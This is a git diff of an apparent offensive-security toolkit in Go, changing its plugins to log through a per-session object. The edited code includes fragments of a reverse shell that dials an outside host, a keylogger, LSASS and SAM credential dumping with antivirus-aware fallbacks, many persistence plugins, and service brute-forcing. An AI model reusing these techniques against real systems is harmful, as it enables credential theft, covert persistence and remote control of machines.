diff --git a/plugins/local/cleaner.go b/plugins/local/cleaner.go index 17768c1..5fd9f88 100644 --- a/plugins/local/cleaner.go +++ b/plugins/local/cleaner.go @@ -44,7 +44,7 @@ func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo, session cleaned += p.cleanUnix(&output) } - common.LogSuccess(i18n.Tr("cleaner_success", cleaned, 0)) + session.LogSuccess(i18n.Tr("cleaner_success", cleaned, 0)) return &plugins.Result{ Success: cleaned > 0, diff --git a/plugins/local/crontask.go b/plugins/local/crontask.go index c22fba3..85001f2 100644 --- a/plugins/local/crontask.go +++ b/plugins/local/crontask.go @@ -129,7 +129,7 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio output.WriteString("\n" + i18n.Tr("persistence_complete_summary", successCount, 5) + "\n") if successCount > 0 { - common.LogSuccess(i18n.Tr("crontask_success", successCount)) + session.LogSuccess(i18n.Tr("crontask_success", successCount)) } return &plugins.Result{ diff --git a/plugins/local/forwardshell.go b/plugins/local/forwardshell.go index 83a393b..2690ff9 100644 --- a/plugins/local/forwardshell.go +++ b/plugins/local/forwardshell.go @@ -53,7 +53,7 @@ func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") // 启动正向Shell服务器 - err := p.startForwardShellServer(ctx, port, state) + err := p.startForwardShellServer(ctx, port, state, session) if err != nil { output.WriteString(i18n.Tr("forwardshell_server_error", err) + "\n") return &plugins.Result{ @@ -64,7 +64,7 @@ func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se } output.WriteString(i18n.GetText("forwardshell_done") + "\n") - common.LogSuccess(i18n.Tr("forwardshell_complete", port)) + session.LogSuccess(i18n.Tr("forwardshell_complete", port)) return &plugins.Result{ Success: true, @@ -75,7 +75,7 @@ func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se } // startForwardShellServer 启动正向Shell服务器 -func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int, state *common.State) error { +func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int, state *common.State, session *common.ScanSession) error { // 监听指定端口 listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port)) if err != nil { @@ -84,7 +84,7 @@ func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port i defer func() { _ = listener.Close() }() p.listener = listener - common.LogSuccess(i18n.Tr("forwardshell_started", port)) + session.LogSuccess(i18n.Tr("forwardshell_started", port)) // 设置正向Shell为活跃状态 state.SetForwardShellActive(true) @@ -111,17 +111,17 @@ func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port i if errors.As(err, &netErr) && netErr.Timeout() { continue } - common.LogError(i18n.Tr("forwardshell_accept_failed", err)) + session.LogError(i18n.Tr("forwardshell_accept_failed", err)) continue } - common.LogSuccess(i18n.Tr("forwardshell_client_connected", conn.RemoteAddr().String())) - go p.handleClient(ctx, conn) + session.LogSuccess(i18n.Tr("forwardshell_client_connected", conn.RemoteAddr().String())) + go p.handleClient(ctx, conn, session) } } // handleClient 处理客户端连接 -func (p *ForwardShellPlugin) handleClient(ctx context.Context, clientConn net.Conn) { +func (p *ForwardShellPlugin) handleClient(ctx context.Context, clientConn net.Conn, session *common.ScanSession) { defer func() { _ = clientConn.Close() }() // ctx 取消时关闭连接,解除阻塞的读操作 @@ -154,7 +154,7 @@ func (p *ForwardShellPlugin) handleClient(ctx context.Context, clientConn net.Co } if err := scanner.Err(); err != nil && ctx.Err() == nil { - common.LogError(i18n.Tr("forwardshell_read_failed", err)) + session.LogError(i18n.Tr("forwardshell_read_failed", err)) } } diff --git a/plugins/local/keylogger.go b/plugins/local/keylogger.go index 927c90d..df3f32f 100644 --- a/plugins/local/keylogger.go +++ b/plugins/local/keylogger.go @@ -71,7 +71,7 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi } // 启动键盘记录 - err := p.startKeylogging(ctx, outputFile) + err := p.startKeylogging(ctx, outputFile, session) if err != nil { output.WriteString(i18n.Tr("keylogger_failed", err) + "\n") return &plugins.Result{ @@ -86,7 +86,7 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi output.WriteString(i18n.Tr("keylogger_event_count", len(p.keyBuffer)) + "\n") output.WriteString(i18n.Tr("keylogger_log_file", outputFile) + "\n") - common.LogSuccess(i18n.Tr("keylogger_success", len(p.keyBuffer))) + session.LogSuccess(i18n.Tr("keylogger_success", len(p.keyBuffer))) return &plugins.Result{ Success: true, @@ -97,7 +97,7 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi } // startKeylogging 启动键盘记录 -func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string) error { +func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string, session *common.ScanSession) error { // 根据平台启动相应的键盘记录 var err error @@ -117,8 +117,8 @@ func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string } // 保存到文件 - if err := p.saveKeysToFile(outputFile); err != nil { - common.LogError(i18n.Tr("keylogger_save_failed", err)) + if err := p.saveKeysToFile(outputFile, session); err != nil { + session.LogError(i18n.Tr("keylogger_save_failed", err)) } return nil @@ -159,12 +159,12 @@ func (p *KeyloggerPlugin) addKeyToBuffer(key string) { } // saveKeysToFile 保存键盘记录到文件 -func (p *KeyloggerPlugin) saveKeysToFile(outputFile string) error { +func (p *KeyloggerPlugin) saveKeysToFile(outputFile string, session *common.ScanSession) error { p.bufferMutex.RLock() defer p.bufferMutex.RUnlock() if len(p.keyBuffer) == 0 { - common.LogInfo(i18n.GetText("keylogger_no_input")) + session.LogInfo(i18n.GetText("keylogger_no_input")) return nil } diff --git a/plugins/local/ldpreload.go b/plugins/local/ldpreload.go index 911e68e..9eedf46 100644 --- a/plugins/local/ldpreload.go +++ b/plugins/local/ldpreload.go @@ -123,7 +123,7 @@ func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi output.WriteString("\n" + i18n.Tr("ldpreload_complete_summary", successCount, 4) + "\n") if successCount > 0 { - common.LogSuccess(i18n.Tr("ldpreload_success", successCount)) + session.LogSuccess(i18n.Tr("ldpreload_success", successCount)) } return &plugins.Result{ diff --git a/plugins/local/minidump.go b/plugins/local/minidump.go index b65c934..0d1d451 100644 --- a/plugins/local/minidump.go +++ b/plugins/local/minidump.go @@ -88,7 +88,7 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio _ = session.State defer func() { if r := recover(); r != nil { - common.LogError(i18n.Tr("minidump_panic", r)) + session.LogError(i18n.Tr("minidump_panic", r)) } }() @@ -110,7 +110,7 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio // 方式1:直接 MiniDumpWriteDump(无杀软时尝试) if !avActive { output.WriteString(i18n.GetText("minidump_try_direct") + "\n") - if ok := p.tryDirectDump(ctx, pm, &output); ok { + if ok := p.tryDirectDump(ctx, pm, &output, session); ok { return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()} } } else { @@ -119,13 +119,13 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio // 方式2:comsvcs.dll(系统签名DLL,部分杀软不拦截) output.WriteString(i18n.GetText("minidump_try_comsvcs") + "\n") - if ok := p.tryComsvcsDump(pm, &output); ok { + if ok := p.tryComsvcsDump(pm, &output, session); ok { return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()} } // 方式3:reg save 导出注册表 hive(离线破解,不碰 LSASS) output.WriteString(i18n.GetText("minidump_try_regsave") + "\n") - if ok := p.tryRegSave(&output); ok { + if ok := p.tryRegSave(&output, session); ok { return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()} } @@ -133,7 +133,7 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio return &plugins.Result{Success: false, Output: output.String(), Error: errors.New(i18n.GetText("minidump_all_methods_failed"))} } -func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager, output *strings.Builder) bool { +func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager, output *strings.Builder, session *common.ScanSession) bool { pid, err := pm.findProcess("lsass.exe") if err != nil { output.WriteString(i18n.Tr("minidump_find_lsass_failed", err) + "\n") @@ -155,10 +155,10 @@ func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager, return false } - return p.reportSuccess(output, outputPath, i18n.GetText("minidump_method_direct")) + return p.reportSuccess(output, outputPath, i18n.GetText("minidump_method_direct"), session) } -func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Builder) bool { +func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Builder, session *common.ScanSession) bool { pid, err := pm.findProcess("lsass.exe") if err != nil { output.WriteString(i18n.Tr("minidump_find_lsass_failed", err) + "\n") @@ -175,10 +175,10 @@ func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Buil return false } - return p.reportSuccess(output, outputPath, "comsvcs.dll") + return p.reportSuccess(output, outputPath, "comsvcs.dll", session) } -func (p *MiniDumpPlugin) tryRegSave(output *strings.Builder) bool { +func (p *MiniDumpPlugin) tryRegSave(output *strings.Builder, session *common.ScanSession) bool { files := map[string]string{ "SAM": filepath.Join(".", "sam.hiv"), "SECURITY": filepath.Join(".", "security.hiv"), @@ -199,19 +199,19 @@ func (p *MiniDumpPlugin) tryRegSave(output *strings.Builder) bool { if saved == 3 { output.WriteString(i18n.GetText("minidump_regsave_done") + "\n") - common.LogSuccess(i18n.Tr("minidump_regsave_success")) + session.LogSuccess(i18n.Tr("minidump_regsave_success")) return true } return false } -func (p *MiniDumpPlugin) reportSuccess(output *strings.Builder, path, method string) bool { +func (p *MiniDumpPlugin) reportSuccess(output *strings.Builder, path, method string, session *common.ScanSession) bool { fi, err := os.Stat(path) if err != nil || fi.Size() == 0 { return false } output.WriteString(i18n.Tr("minidump_method_success", method, path, fi.Size()) + "\n") - common.LogSuccess(i18n.Tr("minidump_success", path, fi.Size())) + session.LogSuccess(i18n.Tr("minidump_success", path, fi.Size())) return true } diff --git a/plugins/local/reverseshell.go b/plugins/local/reverseshell.go index a2ca102..3028017 100644 --- a/plugins/local/reverseshell.go +++ b/plugins/local/reverseshell.go @@ -68,7 +68,7 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") // 启动反弹Shell - err = p.startNativeReverseShell(ctx, host, port, state) + err = p.startNativeReverseShell(ctx, host, port, state, session) if err != nil { output.WriteString(i18n.Tr("reverseshell_error", err) + "\n") return &plugins.Result{ @@ -79,7 +79,7 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se } output.WriteString(i18n.GetText("reverseshell_done") + "\n") - common.LogSuccess(i18n.Tr("reverseshell_complete", target)) + session.LogSuccess(i18n.Tr("reverseshell_complete", target)) return &plugins.Result{ Success: true, @@ -90,7 +90,7 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se } // startNativeReverseShell 启动Go原生反弹Shell -func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int, state *common.State) error { +func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int, state *common.State, session *common.ScanSession) error { // 连接到目标 conn, err := net.Dial("tcp", net.JoinHostPort(host, strconv.Itoa(port))) if err != nil { @@ -98,7 +98,7 @@ func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host s } defer func() { _ = conn.Close() }() - common.LogSuccess(i18n.Tr("reverseshell_connected", host, port)) + session.LogSuccess(i18n.Tr("reverseshell_connected", host, port)) // 设置反弹Shell为活跃状态 state.SetReverseShellActive(true) diff --git a/plugins/local/socks5proxy.go b/plugins/local/socks5proxy.go index fff0a6e..ed8c84b 100644 --- a/plugins/local/socks5proxy.go +++ b/plugins/local/socks5proxy.go @@ -51,10 +51,10 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, ses output.WriteString(i18n.Tr("local_listen_port", port) + "\n") output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n") - common.LogInfo(i18n.Tr("socks5_starting", port)) + session.LogInfo(i18n.Tr("socks5_starting", port)) // 启动SOCKS5代理服务器 - err := p.startSocks5Server(ctx, port, state) + err := p.startSocks5Server(ctx, port, state, session) if err != nil { output.WriteString(i18n.Tr("socks5_server_error", err) + "\n") return &plugins.Result{ @@ -65,7 +65,7 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, ses } output.WriteString(i18n.GetText("socks5_done") + "\n") - common.LogSuccess(i18n.Tr("socks5_complete", port)) + session.LogSuccess(i18n.Tr("socks5_complete", port)) return &plugins.Result{ Success: true, @@ -76,7 +76,7 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, ses } // startSocks5Server 启动SOCKS5代理服务器 - 核心实现 -func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, state *common.State) error { +func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, state *common.State, session *common.ScanSession) error { // 监听指定端口 listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port)) if err != nil { @@ -85,7 +85,7 @@ func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, sta defer func() { _ = listener.Close() }() p.listener = listener - common.LogSuccess(i18n.Tr("socks5_started", port)) + session.LogSuccess(i18n.Tr("socks5_started", port)) // 设置SOCKS5代理为活跃状态,告诉主程序保持运行 state.SetSocks5ProxyActive(true) @@ -98,7 +98,7 @@ func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, sta for { select { case <-ctx.Done(): - common.LogInfo(i18n.GetText("socks5_cancelled")) + session.LogInfo(i18n.GetText("socks5_cancelled")) return ctx.Err() default: } @@ -115,17 +115,17 @@ func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, sta if errors.As(err, &netErr) && netErr.Timeout() { continue // 超时继续循环 } - common.LogError(i18n.Tr("socks5_accept_failed", err)) + session.LogError(i18n.Tr("socks5_accept_failed", err)) continue } // 并发处理客户端连接 - go p.handleClient(ctx, conn) + go p.handleClient(ctx, conn, session) } } // handleClient 处理客户端连接 -func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Conn) { +func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Conn, session *common.ScanSession) { defer func() { _ = clientConn.Close() }() // ctx 取消时关闭连接,解除阻塞的 IO @@ -137,22 +137,22 @@ func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Con // SOCKS5握手阶段 if err := p.handleSocks5Handshake(clientConn); err != nil { if ctx.Err() == nil { - common.LogError(i18n.Tr("socks5_handshake_failed", err)) + session.LogError(i18n.Tr("socks5_handshake_failed", err)) } return } // SOCKS5请求阶段 - targetConn, _, err := p.handleSocks5Request(clientConn) + targetConn, _, err := p.handleSocks5Request(clientConn, session) if err != nil { if ctx.Err() == nil { - common.LogError(i18n.Tr("socks5_request_failed", err)) + session.LogError(i18n.Tr("socks5_request_failed", err)) } return } defer func() { _ = targetConn.Close() }() - common.LogSuccess(i18n.GetText("socks5_connected")) + session.LogSuccess(i18n.GetText("socks5_connected")) // 双向数据转发 p.relayData(clientConn, targetConn) @@ -182,7 +182,7 @@ func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error { } // handleSocks5Request 处理SOCKS5连接请求 -func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, int, error) { +func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn, session *common.ScanSession) (net.Conn, int, error) { // 读取连接请求 buffer := make([]byte, 256) n, err := clientConn.Read(buffer) @@ -272,7 +272,7 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_success_response_failed"), err) } - common.LogDebug(i18n.Tr("socks5_proxy_connection_established", targetAddr)) + session.LogDebug(i18n.Tr("socks5_proxy_connection_established", targetAddr)) return targetConn, localPort, nil } diff --git a/plugins/local/sshkey.go b/plugins/local/sshkey.go index 9a92b6a..4dd744a 100644 --- a/plugins/local/sshkey.go +++ b/plugins/local/sshkey.go @@ -83,7 +83,7 @@ func (p *SSHKeyPlugin) Scan(ctx context.Context, info *common.HostInfo, session } if successCount > 0 { - common.LogSuccess(i18n.Tr("sshkey_success", successCount)) + session.LogSuccess(i18n.Tr("sshkey_success", successCount)) } return &plugins.Result{ diff --git a/plugins/local/systemdservice.go b/plugins/local/systemdservice.go index 027d960..269ea1a 100644 --- a/plugins/local/systemdservice.go +++ b/plugins/local/systemdservice.go @@ -132,7 +132,7 @@ func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo, output.WriteString("\n" + i18n.Tr("systemdservice_complete_summary", successCount, 5) + "\n") if successCount > 0 { - common.LogSuccess(i18n.Tr("systemdservice_success", successCount)) + session.LogSuccess(i18n.Tr("systemdservice_success", successCount)) } return &plugins.Result{ diff --git a/plugins/local/systeminfo.go b/plugins/local/systeminfo.go index 0ac0764..d3c8ccd 100644 --- a/plugins/local/systeminfo.go +++ b/plugins/local/systeminfo.go @@ -30,7 +30,8 @@ type avProduct struct { type SystemInfoPlugin struct { plugins.BasePlugin - output strings.Builder + output strings.Builder + session *common.ScanSession } func NewSystemInfoPlugin() *SystemInfoPlugin { @@ -41,18 +42,19 @@ func NewSystemInfoPlugin() *SystemInfoPlugin { func (p *SystemInfoPlugin) log(key string, args ...interface{}) { msg := i18n.Tr(key, args...) - common.LogInfo(msg) + p.session.LogInfo(msg) p.output.WriteString(msg + "\n") } func (p *SystemInfoPlugin) logSuccess(key string, args ...interface{}) { msg := i18n.Tr(key, args...) - common.LogSuccess(msg) + p.session.LogSuccess(msg) p.output.WriteString(msg + "\n") } func (p *SystemInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - common.LogSuccess(i18n.GetText("systeminfo_start")) + p.session = session + session.LogSuccess(i18n.GetText("systeminfo_start")) p.collectBasicInfo() p.collectNetworkInfo() diff --git a/plugins/local/winbits.go b/plugins/local/winbits.go index 587de47..918c9d7 100644 --- a/plugins/local/winbits.go +++ b/plugins/local/winbits.go @@ -82,7 +82,7 @@ func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session } if successCount >= 3 { - common.LogSuccess(i18n.Tr("winbits_success", jobName)) + session.LogSuccess(i18n.Tr("winbits_success", jobName)) } return &plugins.Result{ diff --git a/plugins/local/winifeo.go b/plugins/local/winifeo.go index c1f6a41..67be8dd 100644 --- a/plugins/local/winifeo.go +++ b/plugins/local/winifeo.go @@ -59,7 +59,7 @@ func (p *WinIFEOPlugin) Scan(ctx context.Context, info *common.HostInfo, session } if successCount > 0 { - common.LogSuccess(i18n.Tr("winifeo_success", successCount)) + session.LogSuccess(i18n.Tr("winifeo_success", successCount)) } return &plugins.Result{ diff --git a/plugins/local/winlogon.go b/plugins/local/winlogon.go index 11ecda2..dfb9c2d 100644 --- a/plugins/local/winlogon.go +++ b/plugins/local/winlogon.go @@ -58,7 +58,7 @@ func (p *WinLogonPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio } if successCount > 0 { - common.LogSuccess(i18n.Tr("winlogon_success", successCount)) + session.LogSuccess(i18n.Tr("winlogon_success", successCount)) } return &plugins.Result{ diff --git a/plugins/local/winregistry.go b/plugins/local/winregistry.go index 03c8963..c66e3cf 100644 --- a/plugins/local/winregistry.go +++ b/plugins/local/winregistry.go @@ -61,7 +61,7 @@ func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, ses } if successCount > 0 { - common.LogSuccess(i18n.Tr("winregistry_success", successCount)) + session.LogSuccess(i18n.Tr("winregistry_success", successCount)) } return &plugins.Result{ diff --git a/plugins/local/winschtask.go b/plugins/local/winschtask.go index c13fbaa..7e2b2c5 100644 --- a/plugins/local/winschtask.go +++ b/plugins/local/winschtask.go @@ -74,7 +74,7 @@ func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sess } if successCount > 0 { - common.LogSuccess(i18n.Tr("winschtask_success", successCount)) + session.LogSuccess(i18n.Tr("winschtask_success", successCount)) } return &plugins.Result{ diff --git a/plugins/local/winservice.go b/plugins/local/winservice.go index 053ec85..4c91490 100644 --- a/plugins/local/winservice.go +++ b/plugins/local/winservice.go @@ -64,7 +64,7 @@ func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, sess } if successCount > 0 { - common.LogSuccess(i18n.Tr("winservice_success", successCount)) + session.LogSuccess(i18n.Tr("winservice_success", successCount)) } return &plugins.Result{ diff --git a/plugins/local/winstartup.go b/plugins/local/winstartup.go index 278bdc5..bf3db99 100644 --- a/plugins/local/winstartup.go +++ b/plugins/local/winstartup.go @@ -59,7 +59,7 @@ func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, sess } if successCount > 0 { - common.LogSuccess(i18n.Tr("winstartup_success", successCount)) + session.LogSuccess(i18n.Tr("winstartup_success", successCount)) } return &plugins.Result{ diff --git a/plugins/local/winwmi.go b/plugins/local/winwmi.go index 192cc97..2e27d8f 100644 --- a/plugins/local/winwmi.go +++ b/plugins/local/winwmi.go @@ -64,7 +64,7 @@ Write-Output "TOTAL:$ok"`, out, err := exec.Command("powershell", "-NoProfile", "-Command", ps).CombinedOutput() if err != nil { - common.LogError(i18n.Tr("error_generic", fmt.Errorf("%s: %w, %s: %s", i18n.GetText("powershell_exec_failed"), err, i18n.GetText("command_output"), strings.TrimSpace(string(out))))) + session.LogError(i18n.Tr("error_generic", fmt.Errorf("%s: %w, %s: %s", i18n.GetText("powershell_exec_failed"), err, i18n.GetText("command_output"), strings.TrimSpace(string(out))))) } result := string(out) @@ -81,7 +81,7 @@ Write-Output "TOTAL:$ok"`, } if successCount > 0 { - common.LogSuccess(i18n.Tr("winwmi_success", successCount)) + session.LogSuccess(i18n.Tr("winwmi_success", successCount)) } return &plugins.Result{ diff --git a/plugins/services/activemq.go b/plugins/services/activemq.go index 0a53c6b..34ab5f0 100644 --- a/plugins/services/activemq.go +++ b/plugins/services/activemq.go @@ -55,7 +55,7 @@ func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio result := TestCredentialsConcurrently(ctx, credentials, authFn, "activemq", testConfig) if result.Success { - common.LogVuln(i18n.Tr("activemq_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("activemq_credential", target, result.Username, result.Password)) } return result @@ -254,7 +254,7 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI } } - common.LogSuccess(i18n.Tr("activemq_service", target, banner)) + session.LogSuccess(i18n.Tr("activemq_service", target, banner)) return &ScanResult{ Success: true, diff --git a/plugins/services/cassandra.go b/plugins/services/cassandra.go index af3ebb3..fa083fa 100644 --- a/plugins/services/cassandra.go +++ b/plugins/services/cassandra.go @@ -32,11 +32,11 @@ func (p *CassandraPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } // 先尝试无认证连接 - if result := p.tryNoAuthConnection(ctx, info, config, state); result != nil && result.Success { + if result := p.tryNoAuthConnection(ctx, info, session); result != nil && result.Success { return result } @@ -55,7 +55,7 @@ func (p *CassandraPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi result := TestCredentialsConcurrently(ctx, credentials, authFn, "cassandra", testConfig) if result.Success { - common.LogVuln(i18n.Tr("cassandra_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("cassandra_credential", target, result.Username, result.Password)) } return result @@ -249,7 +249,9 @@ func classifyCassandraErrorType(err error) ErrorType { // ── 无认证 + 服务识别 ────────────────────────────────────────── -func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() addr := info.Target() timeout := config.Timeout @@ -286,7 +288,7 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common. state.IncrementTCPSuccessPacketCount() dummy := extractClusterName(body) - common.LogVuln(i18n.Tr("cassandra_unauth", target)) + session.LogVuln(i18n.Tr("cassandra_unauth", target)) return &ScanResult{ Type: plugins.ResultTypeService, Success: true, @@ -295,7 +297,9 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common. } } -func (p *CassandraPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *CassandraPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() addr := info.Target() timeout := config.Timeout @@ -323,12 +327,12 @@ func (p *CassandraPlugin) identifyService(ctx context.Context, info *common.Host if opcode == cqlOpAuthChl { banner := i18n.GetText("cassandra_auth_required") - common.LogSuccess(i18n.Tr("cassandra_service", target, banner)) + session.LogSuccess(i18n.Tr("cassandra_service", target, banner)) return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "cassandra", Banner: banner} } banner := "Cassandra" - common.LogSuccess(i18n.Tr("cassandra_service", target, banner)) + session.LogSuccess(i18n.Tr("cassandra_service", target, banner)) return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "cassandra", Banner: banner} } diff --git a/plugins/services/elasticsearch.go b/plugins/services/elasticsearch.go index 504b896..7f3b418 100644 --- a/plugins/services/elasticsearch.go +++ b/plugins/services/elasticsearch.go @@ -35,7 +35,7 @@ func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, s // 首先检测未授权访问 if p.testCredential(ctx, info, Credential{Username: "", Password: ""}, session) { - common.LogVuln(i18n.Tr("elasticsearch_unauth", target)) + session.LogVuln(i18n.Tr("elasticsearch_unauth", target)) return &ScanResult{ Success: true, Type: plugins.ResultTypeVuln, @@ -56,7 +56,7 @@ func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo, s for _, cred := range credentials { if p.testCredential(ctx, info, cred, session) { - common.LogVuln(i18n.Tr("elasticsearch_credential", target, cred.Username, cred.Password)) + session.LogVuln(i18n.Tr("elasticsearch_credential", target, cred.Username, cred.Password)) return &ScanResult{ Success: true, Type: plugins.ResultTypeCredential, @@ -124,7 +124,7 @@ func (p *ElasticsearchPlugin) identifyService(ctx context.Context, info *common. if p.testCredential(ctx, info, Credential{Username: "", Password: ""}, session) { banner := "Elasticsearch" - common.LogSuccess(i18n.Tr("elasticsearch_service", target, banner)) + session.LogSuccess(i18n.Tr("elasticsearch_service", target, banner)) return &ScanResult{ Success: true, Type: plugins.ResultTypeService, diff --git a/plugins/services/findnet.go b/plugins/services/findnet.go index 6d5c177..ae2fe7c 100644 --- a/plugins/services/findnet.go +++ b/plugins/services/findnet.go @@ -86,7 +86,7 @@ func (p *FindNetPlugin) Scan(ctx context.Context, info *common.HostInfo, session } // 一次性输出所有行 if len(lines) > 0 { - common.LogSuccess(strings.Join(lines, "\n")) + session.LogSuccess(strings.Join(lines, "\n")) } } diff --git a/plugins/services/kafka.go b/plugins/services/kafka.go index 643a52b..8137e2f 100644 --- a/plugins/services/kafka.go +++ b/plugins/services/kafka.go @@ -30,7 +30,7 @@ func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo, session * config := session.Config state := session.State if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } target := info.Target() @@ -50,7 +50,7 @@ func (p *KafkaPlugin) Scan(ctx context.Context, info *common.HostInfo, session * result := TestCredentialsConcurrently(ctx, credentials, authFn, "kafka", testConfig) if result.Success { - common.LogVuln(i18n.Tr("kafka_credential", target, result.Username, result.Password)) + session.LogVuln(i18n.Tr("kafka_credential", target, result.Username, result.Password)) } return result @@ -229,7 +229,9 @@ func classifyKafkaErrorType(err error) ErrorType { // ── 服务识别 ──────────────────────────────────────────────────── -func (p *KafkaPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *KafkaPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config + state := session.State target := info.Target() timeout := config.Timeout @@ -255,7 +257,7 @@ func (p *KafkaPlugin) identifyService(ctx context.Context, info *common.HostInfo state.IncrementTCPFailedPacketCount() if p.isKafkaError(err) { banner := i18n.GetText("kafka_auth_required") - common.LogSuccess(i18n.Tr("kafka_service", target, banner)) + session.LogSuccess(i18n.Tr("kafka_service", target, banner)) return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "kafka", Banner: banner} } return &ScanResult{Success: false, Service: "kafka", Error: fmt.Errorf("%s", i18n.Tr("service_not_identified", "Kafka"))} @@ -263,7 +265,7 @@ func (p *KafkaPlugin) identifyService(ctx context.Context, info *common.HostInfo state.IncrementTCPSuccessPacketCount() banner := "Kafka" - common.LogSuccess(i18n.Tr("kafka_service", target, banner)) + session.LogSuccess(i18n.Tr("kafka_service", target, banner)) return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "kafka", Banner: banner} } diff --git a/plugins/services/ldap.go b/plugins/services/ldap.go index 528d9d9..0e40be8 100644 --- 